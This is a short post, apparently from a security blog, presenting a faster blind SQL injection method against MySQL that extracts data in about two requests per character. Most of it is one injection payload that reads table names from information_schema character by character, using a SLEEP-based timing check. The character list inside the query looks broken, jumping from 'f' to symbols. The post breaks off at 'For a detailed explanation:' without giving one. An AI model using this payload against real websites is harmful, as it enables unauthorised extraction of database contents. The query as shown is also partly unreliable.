Faster blind injection data extraction

I was researching ways to retrieve data from a MySQL database with less requests than the traditional methods (Bisection, Bit Shift). I found a way to accomplish this with as little as 2 requests per character using this query:

AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), 'a,b,c,d,e,f
$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),1,1) FROM
information_schema.tables LIMIT 1)=@a AND IF(@a!='',@a,SLEEP(5));

For a detailed explanation:
